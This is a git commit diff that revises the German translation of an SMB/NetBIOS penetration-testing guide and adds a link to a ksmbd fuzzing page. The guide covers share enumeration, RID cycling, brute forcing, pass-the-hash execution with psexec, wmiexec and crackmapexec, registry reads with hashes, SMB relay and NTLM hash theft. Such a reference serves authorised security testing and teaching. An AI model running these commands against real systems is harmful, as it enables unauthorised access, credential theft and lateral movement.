Translated ['src/network-services-pentesting/pentesting-smb/README.md',

This commit is contained in:
Translator 2025-09-08 06:19:12 +00:00
parent c5e2a1f783
commit aee8df4abb
3 changed files with 319 additions and 92 deletions

View File

@ -494,6 +494,7 @@
- [135, 593 - Pentesting MSRPC](network-services-pentesting/135-pentesting-msrpc.md)
- [137,138,139 - Pentesting NetBios](network-services-pentesting/137-138-139-pentesting-netbios.md)
- [139,445 - Pentesting SMB](network-services-pentesting/pentesting-smb/README.md)
- [Ksmbd Attack Surface And Fuzzing Syzkaller](network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md)
- [rpcclient enumeration](network-services-pentesting/pentesting-smb/rpcclient-enumeration.md)
- [143,993 - Pentesting IMAP](network-services-pentesting/pentesting-imap.md)
- [161,162,10161,10162/udp - Pentesting SNMP](network-services-pentesting/pentesting-snmp/README.md)

View File

@ -4,43 +4,43 @@
## **Port 139**
Das _**Network Basic Input Output System**_** (NetBIOS)** ist ein Softwareprotokoll, das entwickelt wurde, um Anwendungen, PCs und Desktops innerhalb eines lokalen Netzwerks (LAN) zu ermöglichen, mit Netzwerkhardware zu interagieren und **die Übertragung von Daten über das Netzwerk zu erleichtern**. Die Identifizierung und Lokalisierung von Softwareanwendungen, die in einem NetBIOS-Netzwerk betrieben werden, erfolgt über ihre NetBIOS-Namen, die bis zu 16 Zeichen lang sein können und oft vom Computernamen abweichen. Eine NetBIOS-Sitzung zwischen zwei Anwendungen wird initiiert, wenn eine Anwendung (die als Client fungiert) einen Befehl ausgibt, um eine andere Anwendung (die als Server fungiert) über **TCP Port 139** "anzurufen".
Das _**Network Basic Input Output System**_** (NetBIOS)** ist ein Softwareprotokoll, das Anwendungen, PCs und Desktops innerhalb eines lokalen Netzwerks (LAN) ermöglicht, mit Netzwerkausrüstung zu interagieren und **die Übertragung von Daten über das Netzwerk zu erleichtern**. Die Identifikation und Lokalisierung von Softwareanwendungen in einem NetBIOS-Netzwerk erfolgt über ihre NetBIOS-Namen, die bis zu 16 Zeichen lang sein können und häufig vom Computernamen abweichen. Eine NetBIOS-Session zwischen zwei Anwendungen wird initiiert, wenn eine Anwendung (als client agierend) einen Befehl ausgibt, um eine andere Anwendung (als server agierend) zu "callen", wobei **TCP Port 139** verwendet wird.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
Technisch wird Port 139 als 'NBT über IP' bezeichnet, während Port 445 als 'SMB über IP' identifiziert wird. Das Akronym **SMB** steht für '**Server Message Blocks**', das auch modern als **Common Internet File System (CIFS)** bekannt ist. Als Netzwerkprotokoll auf Anwendungsebene wird SMB/CIFS hauptsächlich verwendet, um den gemeinsamen Zugriff auf Dateien, Drucker, serielle Ports zu ermöglichen und verschiedene Kommunikationsformen zwischen Knoten in einem Netzwerk zu erleichtern.
Technisch wird Port 139 als NBT over IP bezeichnet, während Port 445 als SMB over IP identifiziert wird. Das Akronym **SMB** steht für **Server Message Blocks**, das auch modern als **Common Internet File System (CIFS)** bekannt ist. Als Protokoll der Anwendungsschicht wird SMB/CIFS hauptsächlich verwendet, um gemeinsamen Zugriff auf Dateien, Drucker und serielle Anschlüsse zu ermöglichen und verschiedene Formen der Kommunikation zwischen Knoten in einem Netzwerk zu unterstützen.
Zum Beispiel wird im Kontext von Windows hervorgehoben, dass SMB direkt über TCP/IP betrieben werden kann, wodurch die Notwendigkeit für NetBIOS über TCP/IP durch die Nutzung von Port 445 entfällt. Im Gegensatz dazu wird auf anderen Systemen die Verwendung von Port 139 beobachtet, was darauf hinweist, dass SMB in Verbindung mit NetBIOS über TCP/IP ausgeführt wird.
Beispielsweise wird im Kontext von Windows hervorgehoben, dass SMB direkt über TCP/IP betrieben werden kann, wodurch die Notwendigkeit für NetBIOS over TCP/IP durch die Nutzung von Port 445 entfällt. Umgekehrt wird auf anderen Systemen die Verwendung von Port 139 beobachtet, was darauf hinweist, dass SMB zusammen mit NetBIOS over TCP/IP ausgeführt wird.
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
Das **Server Message Block (SMB)** Protokoll, das im **Client-Server**-Modell arbeitet, ist dafür ausgelegt, **Zugriff auf Dateien**, Verzeichnisse und andere Netzwerkressourcen wie Drucker und Router zu regeln. Es wird hauptsächlich innerhalb der **Windows**-Betriebssystemreihe verwendet und gewährleistet die Abwärtskompatibilität, sodass Geräte mit neueren Versionen von Microsofts Betriebssystem nahtlos mit solchen interagieren können, die ältere Versionen ausführen. Darüber hinaus bietet das **Samba**-Projekt eine kostenlose Softwarelösung, die die Implementierung von SMB auf **Linux**- und Unix-Systemen ermöglicht und so die plattformübergreifende Kommunikation über SMB erleichtert.
Das **Server Message Block (SMB)** Protokoll, das im **client-server**-Modell arbeitet, ist dafür ausgelegt, den **Zugriff auf Dateien**, Verzeichnisse und andere Netzwerkressourcen wie Drucker und Router zu regeln. Vorwiegend innerhalb der **Windows**-Betriebssystemreihe verwendet, gewährleistet SMB Abwärtskompatibilität, sodass Geräte mit neueren Versionen von Microsofts Betriebssystem nahtlos mit älteren Versionen interagieren können. Zudem bietet das **Samba**-Projekt eine Free-Software-Lösung, die die Implementierung von SMB auf **Linux**- und Unix-Systemen ermöglicht und so plattformübergreifende Kommunikation über SMB erleichtert.
Freigaben, die **willkürliche Teile des lokalen Dateisystems** repräsentieren, können von einem SMB-Server bereitgestellt werden, wodurch die Hierarchie für einen Client teilweise **unabhängig** von der tatsächlichen Struktur des Servers sichtbar wird. Die **Access Control Lists (ACLs)**, die **Zugriffsrechte** definieren, ermöglichen eine **feingranulare Kontrolle** über Benutzerberechtigungen, einschließlich Attribute wie **`execute`**, **`read`** und **`full access`**. Diese Berechtigungen können einzelnen Benutzern oder Gruppen basierend auf den Freigaben zugewiesen werden und sind von den lokalen Berechtigungen, die auf dem Server festgelegt sind, zu unterscheiden.
Shares, die **beliebige Teile des lokalen Dateisystems** repräsentieren, können von einem SMB-Server bereitgestellt werden und machen die Hierarchie für einen Client teilweise **unabhängig** von der tatsächlichen Struktur des Servers sichtbar. Die **Access Control Lists (ACLs)**, die die **Zugriffsrechte** definieren, erlauben eine **feingranulare Kontrolle** über Benutzerberechtigungen, einschließlich Attributen wie **`execute`**, **`read`** und **`full access`**. Diese Berechtigungen können einzelnen Benutzern oder Gruppen zugewiesen werden, bezogen auf die Shares, und unterscheiden sich von den lokal auf dem Server gesetzten Berechtigungen.
### IPC$ Share
Zugriff auf die IPC$-Freigabe kann über eine anonyme Nullsitzung erlangt werden, die eine Interaktion mit Diensten ermöglicht, die über benannte Pipes bereitgestellt werden. Das Dienstprogramm `enum4linux` ist dafür nützlich. Richtig verwendet, ermöglicht es den Erwerb von:
Zugriff auf die IPC$ Share kann über eine anonyme null session erlangt werden, wodurch Interaktion mit Diensten möglich ist, die über named pipes exponiert werden. Das Hilfsprogramm `enum4linux` ist hierfür nützlich. Richtig eingesetzt ermöglicht es die Beschaffung von:
- Informationen über das Betriebssystem
- Details zur übergeordneten Domäne
- Eine Zusammenstellung lokaler Benutzer und Gruppen
- Informationen über verfügbare SMB-Freigaben
- Die effektive System-Sicherheitsrichtlinie
- Informationen zum Betriebssystem
- Details zur übergeordneten Domain
- Eine Aufstellung lokaler Benutzer und Gruppen
- Informationen über verfügbare SMB-Shares
- Die effektive Systemsicherheitsrichtlinie
Diese Funktionalität ist entscheidend für Netzwerkadministratoren und Sicherheitsfachleute, um die Sicherheitslage der SMB (Server Message Block)-Dienste in einem Netzwerk zu bewerten. `enum4linux` bietet einen umfassenden Überblick über die SMB-Umgebung des Zielsystems, was entscheidend ist, um potenzielle Schwachstellen zu identifizieren und sicherzustellen, dass die SMB-Dienste ordnungsgemäß gesichert sind.
Diese Funktionalität ist für Netzwerkadministratoren und Sicherheitsexperten entscheidend, um die Sicherheitslage von SMB (Server Message Block)-Diensten im Netzwerk zu bewerten. `enum4linux` liefert eine umfassende Sicht auf die SMB-Umgebung des Zielsystems, die wesentlich ist, um potenzielle Schwachstellen zu identifizieren und sicherzustellen, dass die SMB-Dienste ordnungsgemäß abgesichert sind.
```bash
enum4linux -a target_ip
```
Der obige Befehl ist ein Beispiel dafür, wie `enum4linux` verwendet werden kann, um eine vollständige Enumeration gegen ein Ziel, das durch `target_ip` angegeben ist, durchzuführen.
Der obige Befehl ist ein Beispiel dafür, wie `enum4linux` verwendet werden kann, um eine vollständige Enumeration gegen ein Ziel durchzuführen, das durch `target_ip` angegeben ist.
## Was ist NTLM
Wenn Sie nicht wissen, was NTLM ist oder wie es funktioniert und wie man es ausnutzen kann, werden Sie diese Seite über **NTLM** sehr interessant finden, auf der erklärt wird, **wie dieses Protokoll funktioniert und wie Sie es ausnutzen können:**
Wenn du nicht weißt, was NTLM ist, oder erfahren möchtest, wie es funktioniert und wie man es ausnutzen kann, findest du diese Seite über **NTLM** sehr interessant, auf der erklärt wird, **wie dieses Protokoll funktioniert und wie du es ausnutzen kannst:**
{{#ref}}
../../windows-hardening/ntlm/
@ -48,15 +48,15 @@ Wenn Sie nicht wissen, was NTLM ist oder wie es funktioniert und wie man es ausn
## **Server Enumeration**
### **Scannen** eines Netzwerks auf der Suche nach Hosts:
### **Scan** eines Netzwerks, um nach Hosts zu suchen:
```bash
nbtscan -r 192.168.0.1/24
```
### SMB-Serverversion
Um nach möglichen Exploits für die SMB-Version zu suchen, ist es wichtig zu wissen, welche Version verwendet wird. Wenn diese Informationen in anderen verwendeten Tools nicht angezeigt werden, können Sie:
Um nach möglichen Exploits für die SMB-Version zu suchen, ist es wichtig zu wissen, welche Version verwendet wird. Wenn diese Information in anderen verwendeten Tools nicht erscheint, kannst du:
- Das **MSF** Hilfsmodul `**auxiliary/scanner/smb/smb_version**` verwenden
- Verwende das **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**`
- Oder dieses Skript:
```bash
#!/bin/sh
@ -74,22 +74,22 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
### **Suche nach Exploit**
### **Exploit suchen**
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
### **Mögliche** Anmeldedaten
| **Benutzername(n)** | **Häufige Passwörter** |
| **Benutzername(n)** | **Gängige Passwörter** |
| -------------------- | ----------------------------------------- |
| _(leer)_ | _(leer)_ |
| gast | _(leer)_ |
| Administrator, admin | _(leer)_, passwort, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | passwort, test, lab, demo |
| guest | _(leer)_ |
| Administrator, admin | _(leer)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo |
### Brute Force
@ -119,9 +119,9 @@ rpcclient -U "username%passwd" <IP> #With creds
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
### Benutzer, Gruppen und angemeldete Benutzer auflisten
### Benutzer, Gruppen & angemeldete Benutzer auflisten
Diese Informationen sollten bereits von enum4linux und enum4linux-ng gesammelt werden.
Diese Informationen sollten bereits durch enum4linux und enum4linux-ng erfasst worden sein.
```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
@ -139,7 +139,7 @@ enumdomgroups
```bash
lookupsid.py -no-pass hostname.local
```
Oneliner
Einzeiler
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
@ -149,27 +149,28 @@ use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
```
### **Auflisten von LSARPC und SAMR rpcclient**
### **Enumerierung von LSARPC und SAMR rpcclient**
{{#ref}}
rpcclient-enumeration.md
{{#endref}}
### GUI-Verbindung von Linux
### GUI-Verbindung unter linux
#### Im Terminal:
`xdg-open smb://cascade.htb/`
#### Im Datei-Browser-Fenster (nautilus, thunar, etc)
#### Im Dateimanagerfenster (nautilus, thunar, etc)
`smb://friendzone.htb/general/`
## Auflisten von Freigaben
## Aufzählung freigegebener Ordner
### Freigegebene Ordner auflisten
Es wird immer empfohlen zu prüfen, ob Sie auf etwas zugreifen können. Wenn Sie keine Anmeldeinformationen haben, versuchen Sie es mit **null** **Anmeldeinformationen/Gastbenutzer**.
Es wird immer empfohlen zu prüfen, ob Sie auf etwas zugreifen können. Falls Sie keine Zugangsdaten haben, versuchen Sie **null** **credentials/guest user** zu verwenden.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -195,11 +196,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
### **Manuell Windows-Freigaben auflisten und sich mit ihnen verbinden**
### **Manuell Windows-Shares auflisten und sich mit ihnen verbinden**
Es kann sein, dass Sie eingeschränkt sind, um Freigaben des Host-Systems anzuzeigen, und wenn Sie versuchen, sie aufzulisten, scheint es, als ob es keine Freigaben gibt, mit denen Sie sich verbinden können. Daher könnte es sich lohnen, zu versuchen, manuell eine Verbindung zu einer Freigabe herzustellen. Um die Freigaben manuell aufzulisten, sollten Sie nach Antworten wie NT_STATUS_ACCESS_DENIED und NT_STATUS_BAD_NETWORK_NAME suchen, wenn Sie eine gültige Sitzung verwenden (z. B. Null-Sitzung oder gültige Anmeldeinformationen). Diese können anzeigen, ob die Freigabe existiert und Sie keinen Zugriff darauf haben oder ob die Freigabe überhaupt nicht existiert.
Es kann vorkommen, dass du daran gehindert wirst, Shares der Host-Maschine anzuzeigen, und beim Versuch, sie aufzulisten, so erscheint, als gäbe es keine Shares, zu denen du eine Verbindung herstellen könntest. Daher kann es sinnvoll sein, kurz zu versuchen, manuell eine Verbindung zu einem Share herzustellen. Um die Shares manuell zu enumerieren, solltest du nach Antworten wie NT_STATUS_ACCESS_DENIED und NT_STATUS_BAD_NETWORK_NAME suchen, wenn du eine gültige Session verwendest (z. B. null session oder gültige Anmeldedaten). Diese können darauf hinweisen, ob das Share existiert und du keinen Zugriff darauf hast oder das Share überhaupt nicht existiert.
Häufige Freigabenamen für Windows-Ziele sind
Common share names for windows targets are
- C$
- D$
@ -210,14 +211,14 @@ Häufige Freigabenamen für Windows-Ziele sind
- SYSVOL
- NETLOGON
(Häufige Freigabenamen aus _**Network Security Assessment 3rd edition**_)
(Common share names from _**Network Security Assessment 3rd edition**_)
Sie können versuchen, sich mit ihnen zu verbinden, indem Sie den folgenden Befehl verwenden
Du kannst versuchen, dich mit ihnen zu verbinden, indem du den folgenden Befehl verwendest
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
oder dieses Skript (unter Verwendung einer Null-Sitzung)
oder dieses Skript (unter Verwendung einer null session)
```bash
#/bin/bash
@ -239,7 +240,7 @@ Beispiele
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **Freigaben von Windows auflisten / ohne Drittanbieter-Tools**
### **Freigaben unter Windows aufzählen / ohne Drittanbieter-Tools**
PowerShell
```bash
@ -265,16 +266,16 @@ fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
explorer.exe (grafisch), geben Sie `\\<ip>\` ein, um die verfügbaren nicht versteckten Freigaben anzuzeigen.
explorer.exe (grafisch): geben Sie `\\<ip>\` ein, um die verfügbaren nicht-versteckten shares zu sehen.
### Ein freigegebenes Verzeichnis einbinden
### Mount a shared folder
```bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **Dateien herunterladen**
Lesen Sie die vorherigen Abschnitte, um zu erfahren, wie Sie sich mit Anmeldeinformationen/Pass-the-Hash verbinden.
Lesen Sie die vorherigen Abschnitte, um zu erfahren, wie Sie sich mit credentials/Pass-the-Hash verbinden.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -291,34 +292,34 @@ smbclient //<IP>/<share>
```
Befehle:
- mask: gibt die Maske an, die verwendet wird, um die Dateien im Verzeichnis zu filtern (z.B. "" für alle Dateien)
- recurse: schaltet die Rekursion ein (Standard: aus)
- prompt: schaltet die Aufforderung zur Eingabe von Dateinamen aus (Standard: ein)
- mask: gibt die Maske an, die verwendet wird, um die Dateien im Verzeichnis zu filtern (z. B. "" für alle Dateien)
- recurse: schaltet Rekursion ein/aus (Standard: aus)
- prompt: schaltet die Abfrage nach Dateinamen ein/aus (Standard: an)
- mget: kopiert alle Dateien, die der Maske entsprechen, vom Host auf die Client-Maschine
(_Informationen aus der Man-Seite von smbclient_)
(_Informationen aus der manpage von smbclient_)
### Suche nach freigegebenen Ordnern im Domänenbereich
### Suche nach freigegebenen Ordnern in der Domäne
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) Spider.
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
- `-M spider_plus [--share <share_name>]`
- `--pattern txt`
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Besonders interessant sind die Dateien mit dem Namen **`Registry.xml`**, da sie **Passwörter** für Benutzer enthalten können, die über Gruppenrichtlinien mit **Autologon** konfiguriert sind. Oder **`web.config`**-Dateien, da sie Anmeldeinformationen enthalten.
Besonders interessant an Shares sind die Dateien namens **`Registry.xml`**, da sie **Passwörter enthalten können** für Benutzer, die via **autologon** über Group Policy konfiguriert wurden. Oder **`web.config`**-Dateien, da diese Anmeldeinformationen enthalten können.
> [!TIP]
> Der **SYSVOL-Freigabe** ist für alle authentifizierten Benutzer in der Domäne **lesbar**. Dort können Sie viele verschiedene Batch-, VBScript- und PowerShell-**Skripte** **finden**.\
> Sie sollten die **Skripte** darin **überprüfen**, da Sie möglicherweise sensible Informationen wie **Passwörter** **finden**.
> Die **SYSVOL share** ist für alle authentifizierten Benutzer der Domain **lesbar**. Dort können Sie viele verschiedene batch-, VBScript- und PowerShell-**Skripte** finden.\
> Sie sollten die **Skripte** darin **prüfen**, da Sie möglicherweise sensible Informationen wie **Passwörter** finden.
## Registrierung lesen
## Registry lesen
Sie können möglicherweise die **Registrierung lesen**, indem Sie einige entdeckte Anmeldeinformationen verwenden. Impacket **`reg.py`** ermöglicht es Ihnen, es zu versuchen:
Sie können möglicherweise die **Registry lesen**, indem Sie entdeckte Anmeldeinformationen verwenden. Impacket **`reg.py`** ermöglicht es Ihnen, Folgendes zu versuchen:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
@ -326,35 +327,35 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
```
## Post Exploitation
Die **Standardkonfiguration von** einem **Samba**-Server befindet sich normalerweise in `/etc/samba/smb.conf` und könnte einige **gefährliche Konfigurationen** haben:
Die **Standardkonfiguration** eines **Samba**-Servers befindet sich normalerweise in `/etc/samba/smb.conf` und kann einige **gefährliche Einstellungen** enthalten:
| **Einstellung** | **Beschreibung** |
| **Einstellung** | **Beschreibung** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Erlaubt das Auflisten verfügbarer Freigaben im aktuellen Share? |
| `read only = no` | Verhindert die Erstellung und Modifikation von Dateien? |
| `writable = yes` | Erlaubt Benutzern, Dateien zu erstellen und zu modifizieren? |
| `guest ok = yes` | Erlaubt die Verbindung zum Dienst ohne Verwendung eines Passworts? |
| `enable privileges = yes` | Berücksichtigt Privilegien, die einem bestimmten SID zugewiesen sind? |
| `create mask = 0777` | Welche Berechtigungen müssen den neu erstellten Dateien zugewiesen werden? |
| `directory mask = 0777` | Welche Berechtigungen müssen den neu erstellten Verzeichnissen zugewiesen werden? |
| `logon script = script.sh` | Welches Skript muss beim Login des Benutzers ausgeführt werden? |
| `magic script = script.sh` | Welches Skript sollte ausgeführt werden, wenn das Skript geschlossen wird? |
| `magic output = script.out` | Wo muss die Ausgabe des magischen Skripts gespeichert werden? |
| `browseable = yes` | Ermöglicht das Auflisten verfügbarer Shares im aktuellen Share? |
| `read only = no` | Verhindert die Erstellung und Änderung von Dateien? |
| `writable = yes` | Erlaubt Benutzern, Dateien zu erstellen und zu ändern? |
| `guest ok = yes` | Erlaubt die Verbindung zum Dienst ohne Verwendung eines Passworts? |
| `enable privileges = yes` | Berücksichtigt Privilegien, die einer bestimmten SID zugewiesen sind?|
| `create mask = 0777` | Welche Berechtigungen neuen Dateien zugewiesen werden müssen? |
| `directory mask = 0777` | Welche Berechtigungen neuen Verzeichnissen zugewiesen werden müssen? |
| `logon script = script.sh` | Welches Skript bei der Benutzeranmeldung ausgeführt werden muss? |
| `magic script = script.sh` | Welches Skript ausgeführt werden soll, wenn das Skript geschlossen wird? |
| `magic output = script.out` | Wo die Ausgabe des magic script gespeichert werden muss? |
Der Befehl `smbstatus` gibt Informationen über den **Server** und darüber, **wer verbunden ist**.
Der Befehl `smbstatus` liefert Informationen über den **Server** und darüber, **wer verbunden ist**.
## Authenticate using Kerberos
## Authentifizierung mit kerberos
Sie können sich **authentifizieren** bei **kerberos** mit den Tools **smbclient** und **rpcclient**:
Du kannst dich gegenüber **kerberos** mit den Tools **smbclient** und **rpcclient** **authentifizieren**:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
```
## **Befehle Ausführen**
## **Befehle ausführen**
### **crackmapexec**
crackmapexec kann Befehle **ausführen**, indem es eine der **mmcexec, smbexec, atexec, wmiexec** Methoden **missbraucht**, wobei **wmiexec** die **Standard**-Methode ist. Sie können angeben, welche Option Sie bevorzugen, mit dem Parameter `--exec-method`:
crackmapexec kann Befehle ausführen, **abusing** beliebiger Methoden wie **mmcexec, smbexec, atexec, wmiexec**, wobei **wmiexec** die **Standard**-Methode ist. Du kannst die gewünschte Option mit dem Parameter `--exec-method` angeben:
```bash
apt-get install crackmapexec
@ -378,8 +379,8 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
Beide Optionen **erstellen einen neuen Dienst** (unter Verwendung von _\pipe\svcctl_ über SMB) auf der Zielmaschine und nutzen ihn, um **etwas auszuführen** (**psexec** wird eine ausführbare Datei in den ADMIN$-Freigabe **hochladen** und **smbexec** wird auf **cmd.exe/powershell.exe** verweisen und die Argumente die Payload --**file-less technique-**- einfügen).\
**Mehr Informationen** über [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)und [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
Beide Optionen werden **einen neuen Service erstellen** (unter Verwendung von _\pipe\svcctl_ über SMB) auf dem Zielrechner und ihn nutzen, um **etwas auszuführen** (**psexec** wird eine ausführbare Datei auf das ADMIN$ share **hochladen** und **smbexec** wird auf **cmd.exe/powershell.exe** verweisen und in den Argumenten das payload übergeben --**file-less technique-**-).\
**Mehr Infos** zu [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) und [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
@ -388,19 +389,19 @@ In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
Mit dem **Parameter** `-k` können Sie sich gegen **Kerberos** anstelle von **NTLM** authentifizieren.
Mit dem **Parameter**`-k` kannst du dich mit **kerberos** statt **NTLM** authentifizieren
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
Führen Sie stealthy eine Befehlszeile aus, ohne die Festplatte zu berühren oder einen neuen Dienst über DCOM über **Port 135** auszuführen.\
In **Kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/
Führe unauffällig eine Kommando-Shell aus, ohne die Festplatte zu berühren oder einen neuen Dienst zu starten, indem du DCOM über **port 135.** verwendest.\
In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
Mit dem **Parameter** `-k` können Sie sich an **Kerberos** anstelle von **NTLM** authentifizieren.
Mit dem **Parameter**`-k` können Sie sich über **kerberos** statt **NTLM** authentifizieren
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -419,44 +420,50 @@ In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## **Bruteforce-Benutzeranmeldeinformationen**
### ksmbd attack surface and SMB2/SMB3 protocol fuzzing (syzkaller)
**Dies wird nicht empfohlen, Sie könnten ein Konto sperren, wenn Sie die maximal erlaubte Anzahl an Versuchen überschreiten**
{{#ref}}
ksmbd-attack-surface-and-fuzzing-syzkaller.md
{{#endref}}
## **Bruteforce users credentials**
**Dies wird nicht empfohlen — Sie könnten ein Konto sperren, wenn Sie die maximal erlaubten Versuche überschreiten**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## SMB-Relay-Angriff
## SMB relay attack
Dieser Angriff verwendet das Responder-Toolkit, um **SMB-Authentifizierungssitzungen** in einem internen Netzwerk zu **erfassen** und sie an eine **Zielmaschine** zu **relayen**. Wenn die Authentifizierung **sitzung erfolgreich ist**, werden Sie automatisch in eine **System**-**Shell** geleitet.\
[**Weitere Informationen zu diesem Angriff hier.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
Dieser Angriff verwendet das Responder toolkit, um **capture SMB authentication sessions** in einem internen Netzwerk zu ermöglichen und **relays** diese an eine **target machine**. Wenn die Authentifizierungs-**session** erfolgreich ist, bringt sie dich automatisch in eine **system** **shell**.\
[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
Die Windows-Bibliothek URLMon.dll versucht automatisch, sich beim Host zu authentifizieren, wenn eine Seite versucht, über SMB auf einige Inhalte zuzugreifen, zum Beispiel: `img src="\\10.10.10.10\path\image.jpg"`
Die Windows-Bibliothek URLMon.dll versucht automatisch, sich beim Host zu authentifizieren, wenn eine Seite versucht, Inhalte über SMB zu laden, zum Beispiel: `img src="\\10.10.10.10\path\image.jpg"`
Dies geschieht mit den Funktionen:
This happens with the functions:
- URLDownloadToFile
- URLDownloadToCache
- URLOpenStream
- URLOpenBlockingStream
Die von einigen Browsern und Tools (wie Skype) verwendet werden.
Which are used by some browsers and tools (like Skype)
![Von: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
### SMBTrap mit MitMf
### SMBTrap using MitMf
![Von: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>)
## NTLM-Diebstahl
## NTLM Theft
Ähnlich wie beim SMB-Trapping kann das Platzieren bösartiger Dateien auf einem Zielsystem (zum Beispiel über SMB) einen SMB-Authentifizierungsversuch auslösen, wodurch der NetNTLMv2-Hash mit einem Tool wie Responder abgefangen werden kann. Der Hash kann dann offline geknackt oder in einem [SMB-Relay-Angriff](#smb-relay-attack) verwendet werden.
